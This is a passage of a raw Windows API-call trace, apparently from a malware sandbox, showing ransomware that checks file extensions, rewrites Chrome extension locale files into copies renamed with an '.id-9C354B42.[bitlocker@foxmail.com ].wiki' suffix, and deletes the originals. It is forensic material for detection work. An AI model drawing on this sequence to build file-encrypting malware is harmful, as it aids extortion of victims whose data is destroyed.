lstrlenW (lpString=".xls") returned 4 [0179.832] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.832] lstrlenW (lpString=".xlsx") returned 5 [0179.833] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.833] lstrlenW (lpString=".ppt") returned 4 [0179.833] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.833] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.833] lstrlenW (lpString=".zip") returned 4 [0179.833] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.833] lstrlenW (lpString=".rar") returned 4 [0179.833] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.833] lstrlenW (lpString=".bz2") returned 4 [0179.833] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.833] lstrlenW (lpString=".7z") returned 3 [0179.833] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.833] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.833] lstrlenW (lpString=".dbf") returned 4 [0179.833] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.833] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.833] lstrlenW (lpString=".1cd") returned 4 [0179.833] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.833] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 151 [0179.833] lstrlenW (lpString=".jpg") returned 4 [0179.833] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.833] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.833] lstrlenW (lpString="messages.json") returned 13 [0179.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.834] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=236) returned 1 [0179.834] CloseHandle (hObject=0x320) returned 1 [0179.835] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json")) returned 0x2020 [0179.835] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.835] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.835] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.835] GetLastError () returned 0x0 [0179.835] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xec, lpOverlapped=0x0) returned 1 [0179.836] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0179.838] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.838] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.838] SetEndOfFile (hFile=0x198) returned 1 [0179.838] CloseHandle (hObject=0x198) returned 1 [0179.838] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.838] SetEndOfFile (hFile=0x320) returned 1 [0179.839] CloseHandle (hObject=0x320) returned 1 [0179.839] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.839] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json")) returned 1 [0179.839] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.839] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.839] lstrlenW (lpString=".doc") returned 4 [0179.840] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.840] lstrlenW (lpString=".docx") returned 5 [0179.840] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.840] lstrlenW (lpString=".pdf") returned 4 [0179.840] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.840] lstrlenW (lpString=".xls") returned 4 [0179.840] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.840] lstrlenW (lpString=".xlsx") returned 5 [0179.840] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.840] lstrlenW (lpString=".ppt") returned 4 [0179.840] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.840] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.840] lstrlenW (lpString=".zip") returned 4 [0179.840] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.840] lstrlenW (lpString=".rar") returned 4 [0179.840] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.840] lstrlenW (lpString=".bz2") returned 4 [0179.840] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.840] lstrlenW (lpString=".7z") returned 3 [0179.840] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.840] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.840] lstrlenW (lpString=".dbf") returned 4 [0179.840] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.840] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.840] lstrlenW (lpString=".1cd") returned 4 [0179.840] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.840] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.840] lstrlenW (lpString=".jpg") returned 4 [0179.840] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.841] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.841] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.841] lstrlenW (lpString=".doc") returned 4 [0179.841] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.841] lstrlenW (lpString=".docx") returned 5 [0179.841] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.841] lstrlenW (lpString=".pdf") returned 4 [0179.841] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.841] lstrlenW (lpString=".xls") returned 4 [0179.841] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.841] lstrlenW (lpString=".xlsx") returned 5 [0179.841] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.841] lstrlenW (lpString=".ppt") returned 4 [0179.841] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.841] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.841] lstrlenW (lpString=".zip") returned 4 [0179.841] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.841] lstrlenW (lpString=".rar") returned 4 [0179.841] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.841] lstrlenW (lpString=".bz2") returned 4 [0179.841] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.841] lstrlenW (lpString=".7z") returned 3 [0179.841] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.841] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.841] lstrlenW (lpString=".dbf") returned 4 [0179.841] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.841] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.841] lstrlenW (lpString=".1cd") returned 4 [0179.841] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.841] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 151 [0179.841] lstrlenW (lpString=".jpg") returned 4 [0179.842] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.842] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.842] lstrlenW (lpString="messages.json") returned 13 [0179.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.842] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=239) returned 1 [0179.842] CloseHandle (hObject=0x320) returned 1 [0179.842] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json")) returned 0x2020 [0179.842] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.843] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.843] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.843] GetLastError () returned 0x0 [0179.843] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xef, lpOverlapped=0x0) returned 1 [0179.845] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0179.846] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.846] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.846] SetEndOfFile (hFile=0x198) returned 1 [0179.846] CloseHandle (hObject=0x198) returned 1 [0179.846] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.846] SetEndOfFile (hFile=0x320) returned 1 [0179.847] CloseHandle (hObject=0x320) returned 1 [0179.847] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.847] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json")) returned 1 [0179.847] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.847] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.847] lstrlenW (lpString=".doc") returned 4 [0179.847] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.847] lstrlenW (lpString=".docx") returned 5 [0179.847] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.847] lstrlenW (lpString=".pdf") returned 4 [0179.847] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.847] lstrlenW (lpString=".xls") returned 4 [0179.847] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.848] lstrlenW (lpString=".xlsx") returned 5 [0179.848] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.848] lstrlenW (lpString=".ppt") returned 4 [0179.848] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.848] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.848] lstrlenW (lpString=".zip") returned 4 [0179.848] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.848] lstrlenW (lpString=".rar") returned 4 [0179.848] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.848] lstrlenW (lpString=".bz2") returned 4 [0179.848] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.848] lstrlenW (lpString=".7z") returned 3 [0179.848] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.848] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.848] lstrlenW (lpString=".dbf") returned 4 [0179.848] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.848] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.848] lstrlenW (lpString=".1cd") returned 4 [0179.848] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.848] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.848] lstrlenW (lpString=".jpg") returned 4 [0179.848] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.848] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.848] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.848] lstrlenW (lpString=".doc") returned 4 [0179.848] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.848] lstrlenW (lpString=".docx") returned 5 [0179.848] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.848] lstrlenW (lpString=".pdf") returned 4 [0179.849] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.849] lstrlenW (lpString=".xls") returned 4 [0179.849] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.849] lstrlenW (lpString=".xlsx") returned 5 [0179.849] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.849] lstrlenW (lpString=".ppt") returned 4 [0179.849] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.849] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.849] lstrlenW (lpString=".zip") returned 4 [0179.849] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.849] lstrlenW (lpString=".rar") returned 4 [0179.849] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.849] lstrlenW (lpString=".bz2") returned 4 [0179.849] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.849] lstrlenW (lpString=".7z") returned 3 [0179.849] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.849] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.849] lstrlenW (lpString=".dbf") returned 4 [0179.849] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.849] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.849] lstrlenW (lpString=".1cd") returned 4 [0179.849] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.849] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 151 [0179.849] lstrlenW (lpString=".jpg") returned 4 [0179.849] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.849] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.849] lstrlenW (lpString="messages.json") returned 13 [0179.850] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.851] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=332) returned 1 [0179.851] CloseHandle (hObject=0x320) returned 1 [0179.851] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json")) returned 0x2020 [0179.851] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js 